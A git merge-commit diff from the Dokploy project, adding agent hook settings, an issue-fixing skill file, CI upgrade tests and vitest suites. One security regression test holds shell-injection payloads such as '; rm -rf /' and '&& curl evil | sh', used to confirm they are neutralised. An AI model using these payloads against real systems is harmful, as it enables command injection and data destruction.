Merge remote-tracking branch 'origin/canary' into fix/ui-polish-bugs

This commit is contained in:
Narciso 2026-08-31 16:20:48 -04:00
commit a36739eb07
299 changed files with 93463 additions and 1742 deletions

22
.claude/settings.json Normal file
View File

@ -0,0 +1,22 @@
{
"worktree": {
"baseRef": "fresh"
},
"hooks": {
"PostToolUse": [
{
"matcher": "EnterWorktree",
"hooks": [
{
"type": "command",
"command": "\"$CLAUDE_PROJECT_DIR/scripts/install-worktree-deps.sh\""
},
{
"type": "command",
"command": "\"$CLAUDE_PROJECT_DIR/scripts/assign-worktree-port.sh\""
}
]
}
]
}
}

View File

@ -0,0 +1,55 @@
---
name: fix-issue
description: Implement a GitHub issue with reproduction and verification
allowed-tools: Bash, Edit, Write, Read, Glob, Grep, mcp__playwright__*, mcp__dokploy__*
---
The issue number is passed as $1.
## Instance
No instance is running yet — start your own, isolated to this worktree:
1. Check `apps/dokploy/.env` for `PORT` (assigned per-worktree already).
2. If nothing is listening on that port, start it: `pnpm dokploy:dev` in the
background, then poll `curl -s -o /dev/null -w '%{http_code}' http://localhost:$PORT`
until it answers (usually ~10-15s).
3. Use `http://localhost:$PORT` as the base URL for Playwright navigation.
Note: `mcp__dokploy__*` (this repo's `.mcp.json`) resolves its URL from
`$DOKPLOY_BASE_URL` once, at session startup — it cannot pick up a port
discovered mid-session. If those tools are unavailable or point at the wrong
instance, fall back to `curl`/`gh api` for API-level checks, or ask the user
to relaunch with `DOKPLOY_BASE_URL` exported first.
## Tools
- `mcp__dokploy__*` — the Dokploy API of the running instance. Use it to set up
state (create a project, an app, an env var) and to verify backend behavior.
Search for the tool you need; they are not all loaded upfront.
- `mcp__playwright__*` — the browser at $DOKPLOY_BASE_URL. Use it for anything
a user would see or click.
Pick by where the bug lives, not by convenience:
- Bug in the UI (rendering, forms, navigation, state) → reproduce in Playwright.
The API returning correct data proves nothing here.
- Bug in the API, deploy logic, or data → reproduce with the Dokploy MCP.
A green screenshot proves nothing here.
- Unclear → do both.
Use the MCP to reach the state you need quickly, then verify in the UI. Do not
click through ten screens to create a project the API can create in one call.
## Steps
1. Run `gh issue view $1` and read the full issue, including comments.
2. Reproduce the bug with the appropriate tool. If you cannot reproduce it,
comment on the issue explaining what you tried and STOP.
Do not implement anything.
3. Implement the fix. Keep the change minimal and scoped to the issue.
4. Run `pnpm test`, then re-run the same reproduction from step 2.
5. Only if both pass: commit and run `gh pr create`. The PR description must
include the before/after reproduction steps and reference the issue.
Never skip step 2. A fix you cannot reproduce and then verify is not a fix.

View File

@ -187,6 +187,16 @@ jobs:
with:
version: 10.22.0
- uses: actions/setup-node@v4
with:
node-version: 24.4.0
cache: pnpm
- name: Generate OpenAPI specification
run: |
pnpm install --frozen-lockfile
pnpm generate:openapi
- name: Sync version to MCP repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
@ -195,8 +205,8 @@ jobs:
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json src/generated/openapi.json
pnpm install
pnpm run fetch-openapi
pnpm run generate
git config user.name "Dokploy Bot"

View File

@ -11,7 +11,7 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
uses: actions/checkout@v5
- name: Setup biomeJs
uses: biomejs/setup-biome@v2
@ -19,4 +19,4 @@ jobs:
- name: Run Biome formatter
run: biome format --write
- uses: autofix-ci/action@635ffb0c9798bd160680f18fd73371e355b85f27 # v1.3.2
- uses: autofix-ci/action@c5b2d67aa2274e7b5a18224e8171550871fc7e4a # v1.3.4

View File

@ -34,3 +34,16 @@ jobs:
fi
git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
git push origin main
- name: Sync cherry-pick back into canary
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git fetch origin canary main
git checkout -B canary origin/canary
if ! git merge origin/main -m "chore: sync hotfix from main into canary [skip ci]"; then
git merge --abort
echo "::error::Could not auto-sync the hotfix into canary (real conflict, not just history divergence). Merge main into canary manually to avoid a conflict on the next release PR."
exit 1
fi
git push origin canary

View File

@ -14,9 +14,9 @@ jobs:
matrix:
job: [build, test, typecheck]
steps:
- uses: actions/checkout@v4
- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v4
- uses: actions/checkout@v5
- uses: pnpm/action-setup@v5
- uses: actions/setup-node@v5
with:
node-version: 24.4.0
cache: "pnpm"

View File

@ -0,0 +1,437 @@
# Upgrade Integration Test
#
# Tests that Dokploy can upgrade from version A to version B while keeping
# user projects (Postgres, MongoDB, two web apps, one static site) alive.
#
# Generates upgrade pairs: each stable tag in [floor_version, target_version)
# is paired with target_version. If target_version is empty, the highest tag
# available on Docker Hub is used as the target.
#
# Only triggered manually to avoid burning Actions minutes.
name: Upgrade Integration Test
on:
workflow_dispatch:
inputs:
floor_version:
description: 'Oldest version tag to include in pairs (e.g. v0.29.4)'
required: false
default: 'v0.29.4'
target_version:
description: 'Target version to upgrade to (version B). Leave empty to use the highest available.'
required: false
default: ''
env:
DOKPLOY_IMAGE: dokploy/dokploy
DOKPLOY_SERVICE: dokploy
DOKPLOY_PORT: 3000
# ──────────────────────────────────────────────────────────────────────────────
jobs:
# ── 1. Build the matrix ─────────────────────────────────────────────────────
build-matrix:
name: Build upgrade pair matrix
runs-on: ubuntu-latest
outputs:
pairs: ${{ steps.pairs.outputs.pairs }}
steps:
- name: Generate pairs
id: pairs
env:
FLOOR: ${{ inputs.floor_version }}
TARGET: ${{ inputs.target_version }}
run: |
set -euo pipefail
# semver "a >= b" comparison helper (vX.Y.Z, strips leading v)
ge() {
[ "$(printf '%s\n%s\n' "${1#v}" "${2#v}" | sort -V | tail -n1)" = "${1#v}" ]
}
# Fetch all semver tags from Docker Hub (dokploy/dokploy)
ALL_TAGS=$(curl -fsSL \
"https://hub.docker.com/v2/repositories/dokploy/dokploy/tags?page_size=100" | \
jq -r '.results[].name' | \
grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | \
sort -V)
echo "All tags found:"
echo "$ALL_TAGS"
# Target version (version B): explicit input, else highest available.
if [ -n "$TARGET" ]; then
TO="$TARGET"
echo "Using user-supplied target version: $TO"
else
TO=$(echo "$ALL_TAGS" | tail -n1)
echo "No target supplied; using highest available: $TO"
fi
# Floor semver components
FLOOR_CLEAN="${FLOOR#v}"
IFS='.' read -r F_MAJ F_MIN F_PAT <<< "$FLOOR_CLEAN"
# Each tag in [FLOOR, TO) → TO
PAIRS='[]'
while read -r TAG; do
[ -z "$TAG" ] && continue
# skip tags above-or-equal to the target (incl. the target itself)
ge "$TAG" "$TO" && continue
TAG_CLEAN="${TAG#v}"
IFS='.' read -r T_MAJ T_MIN T_PAT <<< "$TAG_CLEAN"
if [ "$T_MAJ" -gt "$F_MAJ" ] || \
{ [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -gt "$F_MIN" ]; } || \
{ [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -eq "$F_MIN" ] && [ "$T_PAT" -ge "$F_PAT" ]; }; then
PAIRS=$(echo "$PAIRS" | jq -c \
--arg f "$TAG" --arg t "$TO" \
'. + [{"from":$f,"to":$t}]')
fi
done <<< "$ALL_TAGS"
COUNT=$(echo "$PAIRS" | jq 'length')
echo "Total pairs: $COUNT"
echo "$PAIRS" | jq -r '.[] | " \(.from) → \(.to)"'
echo "pairs=$PAIRS" >> "$GITHUB_OUTPUT"
# ── 2. Run one upgrade test per pair ────────────────────────────────────────
upgrade-test:
name: "${{ matrix.pair.from }} → ${{ matrix.pair.to }}"
needs: build-matrix
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
pair: ${{ fromJSON(needs.build-matrix.outputs.pairs) }}
steps:
# ── Environment setup ──────────────────────────────────────────────────
- name: Free disk space
run: |
sudo rm -rf \
/usr/share/dotnet /opt/ghc /usr/local/share/boost \
"$AGENT_TOOLSDIRECTORY" /usr/local/lib/android \
/usr/local/share/chromium /opt/hostedtoolcache
docker system prune -af --volumes
df -h
# ── Install Dokploy directly at VERSION A ──────────────────────────────
# install.sh:
# • requires root (run via sudo bash)
# • respects DOKPLOY_VERSION → installs that tag directly
# (so we don't need a separate "downgrade" step that would risk
# running B's migrations on A's expected schema)
# • respects ADVERTISE_ADDR → skip the external IP lookup
# • initializes Docker Swarm + dokploy-network itself
- name: Install Dokploy at VERSION A (${{ matrix.pair.from }})
run: |
curl -fsSL https://dokploy.com/install.sh -o /tmp/install.sh
chmod +x /tmp/install.sh
sudo -E env \
DOKPLOY_VERSION="${{ matrix.pair.from }}" \
ADVERTISE_ADDR="127.0.0.1" \
bash /tmp/install.sh
- name: Wait for dokploy service to converge on ${{ matrix.pair.from }}
run: |
echo "Waiting for 'dokploy' Swarm service to reach 1/1..."
timeout 240 bash -c '
until docker service ls --filter name=dokploy \
--format "{{.Name}} {{.Replicas}}" \
| grep "^dokploy " | grep -q " 1/1"; do
sleep 4
done
'
docker service ls
echo "✅ Service running on ${{ matrix.pair.from }}"
- name: Wait for Dokploy API to accept requests
run: |
timeout 180 bash -c '
until curl -sf -o /dev/null \
"http://localhost:${{ env.DOKPLOY_PORT }}"; do
sleep 3
done
'
echo "✅ Dokploy API is up"
# ── Bootstrap admin user ───────────────────────────────────────────────
- name: Register first admin user
id: auth
run: |
COOKIE_JAR="$RUNNER_TEMP/dokploy-cookies.txt"
: > "$COOKIE_JAR"
chmod 600 "$COOKIE_JAR"
echo "cookie_jar=$COOKIE_JAR" >> "$GITHUB_OUTPUT"
# better-auth: sign-up/email (allowed only before any owner exists)
set -x
curl -sS -i -X POST \
"http://localhost:${{ env.DOKPLOY_PORT }}/api/auth/sign-up/email" \
-H "Content-Type: application/json" \
-c "$COOKIE_JAR" -b "$COOKIE_JAR" \
-d '{"name":"CI Admin","email":"ci@dokploy.test","password":"CiTest1234!"}' \
| tee /tmp/signup.out
set +x
# Verify we got a session cookie
if ! grep -qE '(better-auth|auth)\.session' "$COOKIE_JAR"; then
echo "⚠️ No session cookie matched expected name; jar contents:"
cat "$COOKIE_JAR"
fi
# ── Create test resources ──────────────────────────────────────────────
- name: Create project, databases and applications
id: create
env:
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
run: |
set -euo pipefail
# --- tRPC POST helper ---
trpc_mut() {
curl -sf -X POST "$BASE/api/trpc/$1" \
-H "Content-Type: application/json" \
-b "$COOKIE" -c "$COOKIE" \
-d "{\"json\":$2}"
}
# --- Project ---
PROJECT=$(trpc_mut project.create \
'{"name":"ci-upgrade-test","description":"CI upgrade integration test"}')
echo "project.create → $PROJECT"
# project.create in v0.29+ returns nested {project:{projectId}, environment:{environmentId}}
PROJECT_ID=$(echo "$PROJECT" | jq -r \
'.result.data.json.project.projectId // .result.data.json.projectId // empty')
ENV_ID=$(echo "$PROJECT" | jq -r \
'.result.data.json.environment.environmentId // empty')
if [ -z "$PROJECT_ID" ] || [ "$PROJECT_ID" = "null" ]; then
echo "❌ Could not extract projectId from project.create response:"
echo "$PROJECT" | jq .
exit 1
fi
if [ -z "$ENV_ID" ] || [ "$ENV_ID" = "null" ]; then
echo "❌ Could not extract environmentId — this version may not support environments."
echo " project.create response: $PROJECT"
exit 1
fi
echo "project_id=$PROJECT_ID" >> "$GITHUB_OUTPUT"
echo "env_id=$ENV_ID" >> "$GITHUB_OUTPUT"
echo "Detected PROJECT_ID=$PROJECT_ID ENV_ID=$ENV_ID"
# --- PostgreSQL 15 ---
PG=$(trpc_mut postgres.create \
"{\"name\":\"ci-pg\",\"appName\":\"ci-pg-db\",\
\"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
\"databasePassword\":\"CiPg1pass\",\
\"dockerImage\":\"postgres:15\",\"environmentId\":\"$ENV_ID\"}")
echo "postgres.create → $PG"
PG_ID=$(echo "$PG" | jq -r '.result.data.json.postgresId')
# deploy (not start) — deploy creates the Swarm service; start only
# scales an already-deployed service and 500s on a fresh resource.
trpc_mut postgres.deploy "{\"postgresId\":\"$PG_ID\"}" > /dev/null
echo "pg_id=$PG_ID" >> "$GITHUB_OUTPUT"
# --- MongoDB 7.0 ---
MG=$(trpc_mut mongo.create \
"{\"name\":\"ci-mongo\",\"appName\":\"ci-mongo-db\",\
\"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
\"databasePassword\":\"CiMg1pass\",\
\"dockerImage\":\"mongo:7.0\",\"environmentId\":\"$ENV_ID\"}")
echo "mongo.create → $MG"
MG_ID=$(echo "$MG" | jq -r '.result.data.json.mongoId')
trpc_mut mongo.deploy "{\"mongoId\":\"$MG_ID\"}" > /dev/null
echo "mg_id=$MG_ID" >> "$GITHUB_OUTPUT"
# --- Docker-image application helper ---
make_app() {
local DISP_NAME=$1 APP_NAME=$2 IMAGE=$3
APP=$(trpc_mut application.create \
"{\"name\":\"$DISP_NAME\",\"appName\":\"$APP_NAME\",\"environmentId\":\"$ENV_ID\"}")
APP_ID=$(echo "$APP" | jq -r '.result.data.json.applicationId')
trpc_mut application.saveDockerProvider \
"{\"applicationId\":\"$APP_ID\",\"dockerImage\":\"$IMAGE\",\
\"username\":\"\",\"password\":\"\",\"registryUrl\":\"\"}" \
> /dev/null
trpc_mut application.deploy "{\"applicationId\":\"$APP_ID\"}" \
> /dev/null
echo "$APP_ID"
}
# Static site (nginx)
APP_STATIC=$(make_app "ci-static" "ci-static-app" "nginx:alpine")
echo "app_static_id=$APP_STATIC" >> "$GITHUB_OUTPUT"
# Node.js hello-world (echo server image — small, no args needed)
APP_NODE=$(make_app "ci-node" "ci-node-app" "ealen/echo-server:latest")
echo "app_node_id=$APP_NODE" >> "$GITHUB_OUTPUT"
# Go HTTP server (traefik/whoami is a tiny Go binary, port 80)
APP_GO=$(make_app "ci-go" "ci-go-app" "traefik/whoami:latest")
echo "app_go_id=$APP_GO" >> "$GITHUB_OUTPUT"
echo "✅ All resources created"
# ── Pre-upgrade health check ───────────────────────────────────────────
- name: Wait for all services → 'done' (pre-upgrade)
env:
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
PG_ID: ${{ steps.create.outputs.pg_id }}
MG_ID: ${{ steps.create.outputs.mg_id }}
APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
APP_NODE_ID: ${{ steps.create.outputs.app_node_id }}
APP_GO_ID: ${{ steps.create.outputs.app_go_id }}
run: |
wait_done() {
local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
echo "Waiting for $NAME to reach 'done'..."
timeout 360 bash -c "
until [ \"\$(curl -sf -G '$BASE/api/trpc/$ENDPOINT' \
--data-urlencode 'input={\"json\":{\"$ID_KEY\":\"$ID\"}}' \
-b '$COOKIE' | \
jq -r '.result.data.json.$STATUS_KEY // \"unknown\"')\" \
= 'done' ]; do
sleep 5
done
"
echo "✅ $NAME is done"
}
wait_done postgres postgres.one postgresId "$PG_ID" applicationStatus
wait_done mongo mongo.one mongoId "$MG_ID" applicationStatus
wait_done static application.one applicationId "$APP_STATIC_ID" applicationStatus
wait_done node-app application.one applicationId "$APP_NODE_ID" applicationStatus
wait_done go-app application.one applicationId "$APP_GO_ID" applicationStatus
- name: Assert Docker Swarm services healthy (pre-upgrade)
run: |
echo "=== docker service ls ==="
docker service ls
FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
grep -E '^ci-' | grep -v ' 1/1' || true)
if [ -n "$FAIL" ]; then
echo "❌ User services not healthy before upgrade:"
echo "$FAIL"
exit 1
fi
echo "✅ All user services healthy before upgrade"
# ── Upgrade ────────────────────────────────────────────────────────────
- name: Upgrade Dokploy to VERSION B (${{ matrix.pair.to }})
run: |
docker service update \
--image "${{ env.DOKPLOY_IMAGE }}:${{ matrix.pair.to }}" \
--force \
"${{ env.DOKPLOY_SERVICE }}"
echo "Waiting for service to converge on ${{ matrix.pair.to }}..."
timeout 240 bash -c '
until ! docker service inspect dokploy \
--format "{{.UpdateStatus.State}}" 2>/dev/null \
| grep -q "^updating$"; do
sleep 4
done
until docker service ls --filter name=dokploy \
--format "{{.Name}} {{.Replicas}}" \
| grep "^dokploy " | grep -q " 1/1"; do
sleep 4
done
'
echo "✅ Service running on ${{ matrix.pair.to }}"
- name: Wait for Dokploy API to respond post-upgrade
run: |
timeout 180 bash -c '
until curl -sf -o /dev/null \
"http://localhost:${{ env.DOKPLOY_PORT }}"; do
sleep 3
done
'
echo "✅ Dokploy API is up after upgrade"
# ── Post-upgrade health check ──────────────────────────────────────────
- name: Verify all services still healthy (post-upgrade)
env:
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
PG_ID: ${{ steps.create.outputs.pg_id }}
MG_ID: ${{ steps.create.outputs.mg_id }}
APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
APP_NODE_ID: ${{ steps.create.outputs.app_node_id }}
APP_GO_ID: ${{ steps.create.outputs.app_go_id }}
run: |
check_status() {
local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
STATUS=$(curl -sf -G "$BASE/api/trpc/$ENDPOINT" \
--data-urlencode "input={\"json\":{\"$ID_KEY\":\"$ID\"}}" \
-b "$COOKIE" | \
jq -r ".result.data.json.$STATUS_KEY // \"unknown\"")
if [ "$STATUS" != "done" ]; then
echo "❌ $NAME status after upgrade: $STATUS"
return 1
fi
echo "✅ $NAME: $STATUS"
}
check_status postgres postgres.one postgresId "$PG_ID" applicationStatus
check_status mongo mongo.one mongoId "$MG_ID" applicationStatus
check_status static application.one applicationId "$APP_STATIC_ID" applicationStatus
check_status node-app application.one applicationId "$APP_NODE_ID" applicationStatus
check_status go-app application.one applicationId "$APP_GO_ID" applicationStatus
echo "=== docker service ls (post-upgrade) ==="
docker service ls
FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
grep -E '^ci-' | grep -v ' 1/1' || true)
if [ -n "$FAIL" ]; then
echo "❌ User services not healthy after upgrade:"
echo "$FAIL"
exit 1
fi
echo "✅ All services healthy after upgrade to ${{ matrix.pair.to }}"
# ── Diagnostics on failure ─────────────────────────────────────────────
- name: Dump state on failure
if: failure()
run: |
echo "=== docker service ls ===" && docker service ls || true
echo "=== dokploy service tasks ===" && \
docker service ps "${{ env.DOKPLOY_SERVICE }}" --no-trunc || true
echo "=== dokploy logs (last 200) ===" && \
docker service logs "${{ env.DOKPLOY_SERVICE }}" --tail 200 2>&1 || true
echo "=== install.sh tail ===" && \
tail -100 /tmp/install.sh 2>&1 || true
echo "=== signup response ===" && \
cat /tmp/signup.out 2>&1 || true
echo "=== disk usage ===" && df -h
# ── Job summary ────────────────────────────────────────────────────────
- name: Write job summary
if: always()
run: |
STATUS="${{ job.status }}"
ICON="✅"; [ "$STATUS" != "success" ] && ICON="❌"
cat >> "$GITHUB_STEP_SUMMARY" <<EOF
## ${ICON} ${{ matrix.pair.from }} → ${{ matrix.pair.to }}: ${STATUS^^}
| Service | Image |
|---------|-------|
| ci-pg-db | postgres:15 |
| ci-mongo-db | mongo:7.0 |
| ci-static-app | nginx:alpine (static site) |
| ci-node-app | ealen/echo-server (Node.js hello-world) |
| ci-go-app | traefik/whoami (Go HTTP server) |
EOF

2
.worktreeinclude Normal file
View File

@ -0,0 +1,2 @@
.env
.env.local

6
CLAUDE.md Normal file
View File

@ -0,0 +1,6 @@
## Code style
- Don't write comments that restate what the code already says.
- Comment only the "why" when something isn't obvious: workarounds,
counterintuitive decisions, constraints from an external API.
- No section-divider comments like `// --- Helpers ---`.
- Don't leave comments describing the change you just made.

View File

@ -120,12 +120,20 @@ pnpm run docker:push
## Password Reset
In the case you lost your password, you can reset it using the following command
In the case you lost your password, you can reset the owner's password using the following command
```bash
pnpm run reset-password
```
To reset the password of a specific user instead, pass their email as an argument
```bash
pnpm run reset-password -- user@example.com
```
Both commands print the new randomly generated password to the console.
If you want to test the webhooks on development mode using localtunnel, make sure to install [`localtunnel`](https://localtunnel.app/)
```bash

View File

@ -31,7 +31,7 @@ WORKDIR /app
# Set production
ENV NODE_ENV=production
RUN apt-get update && apt-get install -y curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
RUN apt-get update && apt-get install -y tini curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
# Copy only the necessary files
COPY --from=build /prod/dokploy/.next ./.next
@ -69,5 +69,8 @@ EXPOSE 3000
HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
# tini reaps HEALTHCHECK child processes that Node (as PID 1) leaves defunct.
ENTRYPOINT ["/usr/bin/tini", "--"]
# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS)
CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]

View File

@ -28,7 +28,7 @@
"@types/react-dom": "^19.2.0",
"rimraf": "6.1.3",
"tsx": "^4.22.4",
"typescript": "^5.8.3"
"typescript": "^7.0.2"
},
"packageManager": "pnpm@10.22.0",
"engines": {

View File

@ -2,13 +2,12 @@
"compilerOptions": {
"target": "ESNext",
"module": "ESNext",
"moduleResolution": "Node",
"moduleResolution": "bundler",
"strict": true,
"skipLibCheck": true,
"outDir": "dist",
"rootDir": "./src",
"jsx": "react-jsx",
"jsxImportSource": "hono/jsx",
"baseUrl": ".",
"paths": {
"@/*": ["./*"],
"@dokploy/server/*": ["../../packages/server/src/*"]

View File

@ -0,0 +1,23 @@
import { describe, expect, it } from "vitest";
import { z } from "zod";
const revokeSessionSchema = z.object({
sessionId: z.string(),
});
describe("revokeSession input validation", () => {
it("accepts a valid session id", () => {
const result = revokeSessionSchema.safeParse({ sessionId: "abc123" });
expect(result.success).toBe(true);
});
it("rejects missing sessionId", () => {
const result = revokeSessionSchema.safeParse({});
expect(result.success).toBe(false);
});
it("rejects non-string sessionId", () => {
const result = revokeSessionSchema.safeParse({ sessionId: 123 });
expect(result.success).toBe(false);
});
});

View File

@ -0,0 +1,57 @@
import { execSync } from "node:child_process";
import {
getRestoreCommand,
stripDatabaseSwitchCommand,
} from "@dokploy/server/utils/restore/utils";
import { describe, expect, it } from "vitest";
const filter = (input: string) =>
execSync(stripDatabaseSwitchCommand, {
input,
shell: "/bin/bash",
}).toString();
describe("restore drops database-switch statements (mysql/mariadb)", () => {
const dump = [
"-- MariaDB dump",
"CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;",
"USE `production_db`;",
"use production_db;",
"DROP TABLE IF EXISTS `users`;",
"CREATE TABLE `users` (`id` int NOT NULL);",
"INSERT INTO `users` VALUES (1),(2);",
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
].join("\n");
it("removes USE and CREATE DATABASE lines but keeps everything else", () => {
const result = filter(dump);
expect(result).not.toContain("USE `production_db`");
expect(result).not.toContain("use production_db");
expect(result).not.toContain("CREATE DATABASE /*!32312");
expect(result).toContain("DROP TABLE IF EXISTS `users`;");
expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);");
expect(result).toContain("INSERT INTO `users` VALUES (1),(2);");
expect(result).toContain(
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
);
});
it("is wired into mysql and mariadb restore pipelines only", () => {
const base = {
appName: "my-app",
restoreType: "database" as const,
credentials: {
database: "dev_db",
databaseUser: "u",
databasePassword: "p",
},
rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip",
};
for (const type of ["mysql", "mariadb"] as const) {
const cmd = getRestoreCommand({ ...base, type });
expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`);
}
const pgCmd = getRestoreCommand({ ...base, type: "postgres" });
expect(pgCmd).not.toContain(stripDatabaseSwitchCommand);
});
});

View File

@ -0,0 +1,82 @@
import { spawnSync } from "node:child_process";
import { createRestartSafeBackupCommand } from "@dokploy/server/utils/volume-backups/backup";
import { describe, expect, it } from "vitest";
const runCommand = (command: string) =>
spawnSync("bash", ["-c", command], {
encoding: "utf8",
});
const outputLines = (stdout: string) =>
stdout
.trim()
.split("\n")
.filter((line) => line.length > 0);
describe("createRestartSafeBackupCommand", () => {
it("restarts the service and preserves the backup error status", () => {
const result = runCommand(
createRestartSafeBackupCommand({
stopCommand: 'echo "stop"',
backupCommand: 'echo "backup"; exit 23',
startCommand: 'echo "start"',
uploadCommand: 'echo "upload"',
}),
);
expect(result.status).toBe(23);
expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]);
});
it("preserves the backup error status when the restart also fails", () => {
const result = runCommand(
createRestartSafeBackupCommand({
stopCommand: 'echo "stop"',
backupCommand: 'echo "backup"; exit 23',
startCommand: 'echo "start"; exit 17',
uploadCommand: 'echo "upload"',
}),
);
expect(result.status).toBe(23);
expect(outputLines(result.stdout)).toEqual([
"stop",
"backup",
"start",
"Service restart also failed with exit code 17",
]);
});
it("returns the restart error status when the backup succeeds", () => {
const result = runCommand(
createRestartSafeBackupCommand({
stopCommand: 'echo "stop"',
backupCommand: 'echo "backup"',
startCommand: 'echo "start"; exit 17',
uploadCommand: 'echo "upload"',
}),
);
expect(result.status).toBe(17);
expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]);
});
it("uploads only after a successful backup and service restart", () => {
const result = runCommand(
createRestartSafeBackupCommand({
stopCommand: 'echo "stop"',
backupCommand: 'echo "backup"',
startCommand: 'echo "start"',
uploadCommand: 'echo "upload"',
}),
);
expect(result.status).toBe(0);
expect(outputLines(result.stdout)).toEqual([
"stop",
"backup",
"start",
"upload",
]);
});
});

View File

@ -0,0 +1,58 @@
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { describe, expect, it } from "vitest";
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "github" as const,
command: "",
};
describe("compose createCommand --project-directory", () => {
it("pins --project-directory to the code dir when composePath is nested", () => {
const cmd = createCommand(
{ ...base, composePath: "./deploy/docker-compose.yml" } as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain(
"--project-directory /etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain("-f ./deploy/docker-compose.yml");
});
it("omits --project-directory when no projectPath is passed", () => {
const cmd = createCommand({
...base,
composePath: "./deploy/docker-compose.yml",
} as any);
expect(cmd).not.toContain("--project-directory");
});
it("does not add --project-directory to stack deploy (unsupported flag)", () => {
const cmd = createCommand(
{
...base,
composeType: "stack",
composePath: "./deploy/docker-compose.yml",
} as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).not.toContain("--project-directory");
expect(cmd.startsWith("stack deploy")).toBe(true);
});
it("keeps raw sourceType resolving from the code dir (root docker-compose.yml)", () => {
const cmd = createCommand(
{ ...base, sourceType: "raw", composePath: "docker-compose.yml" } as any,
"/etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain(
"--project-directory /etc/dokploy/compose/compose-app/code",
);
expect(cmd).toContain("-f docker-compose.yml");
});
});

View File

@ -0,0 +1,69 @@
import { parse } from "shell-quote";
import { describe, expect, it, vi } from "vitest";
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
// "exists" but does not contain the attacker's service, forcing the error path
// whose message embeds the user-controlled serviceName.
vi.mock("node:fs", async (importOriginal) => {
const actual = await importOriginal<typeof import("node:fs")>();
return {
...actual,
existsSync: () => true,
readFileSync: () => "services:\n web:\n image: nginx\n",
};
});
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
const baseCompose = {
appName: "my-app",
serverId: null,
composeType: "docker-compose",
sourceType: "raw",
composePath: "docker-compose.yml",
isolatedDeployment: false,
randomize: false,
suffix: "",
} as any;
const makeDomain = (serviceName: string) =>
({
host: "example.com",
serviceName,
https: false,
uniqueConfigKey: 1,
port: 3000,
enabled: true,
}) as any;
// If the returned shell fragment is safe, parse() yields only string tokens.
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
const leaksShellSyntax = (command: string, marker: string) =>
parse(command).some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
it("does not let a malicious serviceName inject shell operators", async () => {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain("$(touch /tmp/pwned)"),
]);
// The service does not exist in the compose, so we hit the error branch.
expect(result).toContain("Has occurred an error");
// The payload text may appear inside the single-quoted echo argument, but
// it must never parse as a shell operator ($(), backtick, ; …).
expect(leaksShellSyntax(result, "touch")).toBe(false);
});
it("neutralizes backtick and semicolon payloads too", async () => {
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain(`svc${payload}`),
]);
expect(leaksShellSyntax(result, "rm")).toBe(false);
expect(leaksShellSyntax(result, "curl")).toBe(false);
expect(leaksShellSyntax(result, "id")).toBe(false);
}
});
});

View File

@ -0,0 +1,306 @@
import type { Compose } from "@dokploy/server/services/compose";
import type { Domain } from "@dokploy/server/services/domain";
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
import { beforeEach, describe, expect, it, vi } from "vitest";
// With sourceType "raw", addDomainToCompose parses compose.composeFile
// directly instead of reading from disk, so baseCompose exposes it as a
// getter that always reflects the current composeYaml for each test case.
const baseComposeYaml = `
services:
frigate:
image: frigate
`;
let composeYaml = baseComposeYaml;
const baseCompose = {
